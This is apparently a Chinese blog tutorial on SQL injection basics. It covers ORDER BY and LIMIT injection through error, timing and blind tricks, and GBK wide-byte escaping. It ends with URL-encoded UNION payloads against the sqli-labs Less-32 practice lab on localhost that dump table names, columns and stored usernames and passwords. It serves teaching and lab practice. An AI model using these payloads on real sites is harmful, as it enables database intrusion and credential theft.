• SQL注入基础---order by \ limit \ 宽字节注入


    目录

    order by

    (1)order by 注入存在原因

    (2)案例1:利用报错函数注入

    (3)案例2:利用延时函数注入

    (4)案例3:利用rand()盲注

    ​(5)案例4:if进行盲注

    limit注入

    (1)limit使用介绍

    (2)案例

    宽字节注入

    (1)什么是宽字节?

    (2)宽字节中常见转义函数

    (3)案例:sqli-labs第32关


    order by

    (1)order by 注入存在原因

    order by 子句在MySQL中可以猜测表中的列数,再配合union select语句进行回显。

    但是,当页面出现MySQL报错信息时,且order by后面有可控参数,此时就可以利用报错信息进行注入

    (2)案例1:利用报错函数注入

     select * from users order  by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1);

     (3)案例2:利用延时函数注入

     select * from users order  by if(concat(0x7e,user(),0x7e),1,sleep(3));

     延迟时间不是3秒,而是查询的数据条数*3=总共的延时时间

    当SQL语句为真时就会有延迟,SQL语句为假时是以正常时间显示。

    (4)案例3:利用rand()盲注

    rand()函数产生的随机数是0到1之间,但是当给rand()函数一个参数时,这个参数就变成一个种子,这个种子生成的0到1之间的随机数是固定不变的

    我们发现rand()参数为0或1时,我们使用布尔盲注再次测试

     select * from users order by rand(ascii(mid((select database()),1,1))=8);

     (5)案例4:if进行盲注

    当if语句有效时输出为乱序,当if语句无效时输出不会改变顺序。

     

    limit注入

    (1)limit使用介绍

    limit[位置偏移量,]行数:位置偏移量指MySQL查询分析器开始显示的函数,行数指指示返回的记录条数。

    基本使用:   select * from users limit 1,4;

     在limit后面可以跟两个函数,procedure 和 into,into除非有写入shell的权限,否则是无法利用的,那么我们就自能从procedure找突破口。

    benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式

    比如 benchmark(10000000,函数(1))

    意思是执行表达式10000000次, 使mysql运算量增大而导致延时,类似与多表联合查询/笛卡尔积。

    (2)案例

     select * from users limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,user()))),1);

    宽字节注入

    (1)什么是宽字节?

    宽字节的字符大小为两个字节,像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,注意所有英文默认占用一个字节,中文占用两个字节。

    (2)宽字节中常见转义函数

    • addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串

    • mysql_real_escape_string() 函数:转义 SQL 语句中使用的字符串中的特殊字符

    • mysql_escape_string() 函数:转义一个字符串

    (3)案例:sqli-labs第32关

     可以看出单引号被转义了,查看源码

     我们在1的后面加上%df

    1、那为什么加上%df就把单引号逃逸出来了呢?

     这涉及到了mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来。

    2、但是MySQL是如何判断字符或汉字的呢?

    根据gbk编码,第一个字节ascii码大于128,基本上就可以判断。比如我们将%df换成%a1

     这样单引号逃逸出来后我们就可以查询数据库中的数据了

    1、获得数据库中的表

    http://127.0.0.1/sqli/Less-32/?id=-1%a1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+

     2、获得users表中的字段

    http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273)--+

     3、获取用户和用户密码

    http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(username,password)%20from%20security.users)--+

  • 相关阅读:
    嬴彻科技日: 发布《自动驾驶卡车量产白皮书》分享从量产走向无人技术路线
    UE5- c++ websocket里实现调用player里的方法
    Linux qemu启动内核rootfs挂载失败VFS: Cannot open root device问题解决方案
    Redis的集群模式
    OSN 1800 II TP机盒华为全新一代光层机盒
    3d数字化虚拟交互展示加深消费者对品牌的认知兴趣度和粘稠度
    paddlepaddle 38 使用aistudio部署自己训练的动态图模型
    docker 安装 neo4j
    指静脉处理综合代码(orz)
    1. CMake基本
  • 原文地址:https://blog.csdn.net/qq_52016943/article/details/126230320